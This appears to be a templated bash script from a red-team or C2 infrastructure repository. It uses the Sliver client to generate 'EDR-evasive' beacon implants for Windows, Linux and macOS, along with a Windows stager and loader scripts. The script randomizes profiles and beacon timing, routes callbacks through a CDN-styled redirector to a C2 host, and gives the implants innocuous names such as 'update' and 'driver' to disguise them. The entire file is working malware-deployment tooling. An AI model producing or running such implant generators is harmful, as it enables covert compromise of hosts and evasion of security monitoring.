n0mad1k
143 lines
6.1 KiB
Django/Jinja
143 lines
6.1 KiB
Django/Jinja
#!/bin/bash
|
|
# Corrected EDR-evasive beacon generator with template files
|
|
|
|
# Configuration (automatically populated by Ansible)
|
|
BEACONS_DIR="/opt/beacons"
|
|
C2_HOST="{{ ansible_host }}"
|
|
REDIRECTOR_HOST="cdn.{{ domain }}"
|
|
REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
|
|
|
|
# Ensure required directories exist
|
|
mkdir -p $BEACONS_DIR/staged
|
|
mkdir -p $BEACONS_DIR/shellcode
|
|
|
|
# Generate unique random values for each execution
|
|
random_string() {
|
|
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
|
}
|
|
|
|
# Create a new Sliver profile with redirector-compatible paths
|
|
create_profile() {
|
|
local type=$1
|
|
local profile_name="profile-${type}-$(random_string 8)"
|
|
|
|
# Use paths that match the redirector NGINX configuration
|
|
local http_path1="/ajax/$(random_string 8)"
|
|
local http_path2="/static/js/$(random_string 6).js"
|
|
|
|
local interval=$(( 30 + RANDOM % 120 ))
|
|
local jitter=$(( 10 + RANDOM % 35 ))
|
|
|
|
# Use sliver-client to create a new profile
|
|
echo "[+] Creating profile: $profile_name"
|
|
sliver-client profiles new --name "$profile_name" --http-c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --http-urls "$http_path1,$http_path2" --beacon-interval $interval --beacon-jitter $jitter
|
|
|
|
echo $profile_name
|
|
}
|
|
|
|
# Generate implant using existing profile
|
|
generate_implant() {
|
|
local profile_name=$1
|
|
local os_type=$2
|
|
local arch=$3
|
|
local format=$4
|
|
local output_name=$5
|
|
|
|
echo "[+] Generating $os_type $format implant with profile $profile_name"
|
|
sliver-client generate --profile $profile_name --os $os_type --arch $arch --format $format --save "$BEACONS_DIR/$output_name"
|
|
}
|
|
|
|
# Random output filename generator
|
|
random_output_name() {
|
|
local type=$1
|
|
local names=(
|
|
"update" "service" "client" "agent" "app" "system"
|
|
"monitor" "utility" "helper" "runtime" "driver" "module"
|
|
)
|
|
local name="${names[RANDOM % ${#names[@]}]}_$(random_string 4)"
|
|
|
|
case "$type" in
|
|
windows) echo "${name}.exe" ;;
|
|
windows_dll) echo "${name}.dll" ;;
|
|
linux) echo "${name}" ;;
|
|
darwin) echo "${name}" ;;
|
|
*) echo "${name}" ;;
|
|
esac
|
|
}
|
|
|
|
echo "[+] Generating randomized, evasive beacons with redirector integration..."
|
|
echo "[+] Redirector host: $REDIRECTOR_HOST"
|
|
echo "[+] C2 host: $C2_HOST"
|
|
|
|
# Windows EXE
|
|
win_profile=$(create_profile "windows")
|
|
win_output=$(random_output_name "windows")
|
|
generate_implant "$win_profile" "windows" "amd64" "exe" "$win_output"
|
|
echo "[+] Windows beacon: $BEACONS_DIR/$win_output (Profile: $win_profile)"
|
|
|
|
# Windows DLL
|
|
dll_profile=$(create_profile "windows_dll")
|
|
dll_output=$(random_output_name "windows_dll")
|
|
generate_implant "$dll_profile" "windows" "amd64" "shared" "$dll_output"
|
|
echo "[+] Windows DLL: $BEACONS_DIR/$dll_output (Profile: $dll_profile)"
|
|
|
|
# Linux binary
|
|
linux_profile=$(create_profile "linux")
|
|
linux_output=$(random_output_name "linux")
|
|
generate_implant "$linux_profile" "linux" "amd64" "shared" "$linux_output"
|
|
echo "[+] Linux binary: $BEACONS_DIR/$linux_output (Profile: $linux_profile)"
|
|
|
|
# macOS binary
|
|
mac_profile=$(create_profile "darwin")
|
|
mac_output=$(random_output_name "darwin")
|
|
generate_implant "$mac_profile" "darwin" "amd64" "macho" "$mac_output"
|
|
echo "[+] macOS binary: $BEACONS_DIR/$mac_output (Profile: $mac_profile)"
|
|
|
|
# Generate stagers
|
|
stager_profile=$(create_profile "stager")
|
|
stager_win=$(random_output_name "windows")
|
|
sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win"
|
|
echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"
|
|
|
|
# Create manifest file from template
|
|
cp /opt/c2/manifest.template "$BEACONS_DIR/manifest.json"
|
|
sed -i "s/WINDOWS_EXE/$win_output/g" "$BEACONS_DIR/manifest.json"
|
|
sed -i "s/WINDOWS_DLL/$dll_output/g" "$BEACONS_DIR/manifest.json"
|
|
sed -i "s/LINUX_BINARY/$linux_output/g" "$BEACONS_DIR/manifest.json"
|
|
sed -i "s/MACOS_BINARY/$mac_output/g" "$BEACONS_DIR/manifest.json"
|
|
sed -i "s/WINDOWS_STAGER/staged\/$stager_win/g" "$BEACONS_DIR/manifest.json"
|
|
sed -i "s/WIN_PROFILE/$win_profile/g" "$BEACONS_DIR/manifest.json"
|
|
sed -i "s/DLL_PROFILE/$dll_profile/g" "$BEACONS_DIR/manifest.json"
|
|
sed -i "s/LINUX_PROFILE/$linux_profile/g" "$BEACONS_DIR/manifest.json"
|
|
sed -i "s/MAC_PROFILE/$mac_profile/g" "$BEACONS_DIR/manifest.json"
|
|
sed -i "s/STAGER_PROFILE/$stager_profile/g" "$BEACONS_DIR/manifest.json"
|
|
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" "$BEACONS_DIR/manifest.json"
|
|
sed -i "s/REDIRECTOR_PORT/$REDIRECTOR_PORT/g" "$BEACONS_DIR/manifest.json"
|
|
sed -i "s/C2_HOST/$C2_HOST/g" "$BEACONS_DIR/manifest.json"
|
|
sed -i "s/GENERATED_DATE/$(date)/g" "$BEACONS_DIR/manifest.json"
|
|
|
|
# Create Linux loader from template
|
|
cp /opt/c2/linux_loader.template "$BEACONS_DIR/linux_loader.sh"
|
|
sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/linux_loader.sh"
|
|
chmod +x "$BEACONS_DIR/linux_loader.sh"
|
|
|
|
# Create Windows PowerShell loader from template
|
|
cp /opt/c2/windows_loader.template "$BEACONS_DIR/windows_loader.ps1"
|
|
sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/windows_loader.ps1"
|
|
|
|
# Create reference file from template
|
|
cp /opt/c2/reference.template "$BEACONS_DIR/reference.txt"
|
|
sed -i "s/C2_HOST/$C2_HOST/g" "$BEACONS_DIR/reference.txt"
|
|
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" "$BEACONS_DIR/reference.txt"
|
|
sed -i "s/WINDOWS_EXE/$win_output/g" "$BEACONS_DIR/reference.txt"
|
|
sed -i "s/WINDOWS_DLL/$dll_output/g" "$BEACONS_DIR/reference.txt"
|
|
sed -i "s/LINUX_BINARY/$linux_output/g" "$BEACONS_DIR/reference.txt"
|
|
sed -i "s/MACOS_BINARY/$mac_output/g" "$BEACONS_DIR/reference.txt"
|
|
sed -i "s/WINDOWS_STAGER/$stager_win/g" "$BEACONS_DIR/reference.txt"
|
|
sed -i "s/WIN_PROFILE/$win_profile/g" "$BEACONS_DIR/reference.txt"
|
|
sed -i "s/DLL_PROFILE/$dll_profile/g" "$BEACONS_DIR/reference.txt"
|
|
sed -i "s/LINUX_PROFILE/$linux_profile/g" "$BEACONS_DIR/reference.txt"
|
|
sed -i "s/MAC_PROFILE/$mac_profile/g" "$BEACONS_DIR/reference.txt"
|
|
sed -i "s/STAGER_PROFILE/$stager_profile/g" "$BEACONS_DIR/reference.txt"
|
|
sed -i "s/REDIRECTOR_PORT/$REDIRECTOR_PORT/g" "$BEACONS_DIR/reference.txt"
|
|
sed -i "s/GENERATED_DATE/$(date)/g" "$BEACONS_DIR/reference.txt" |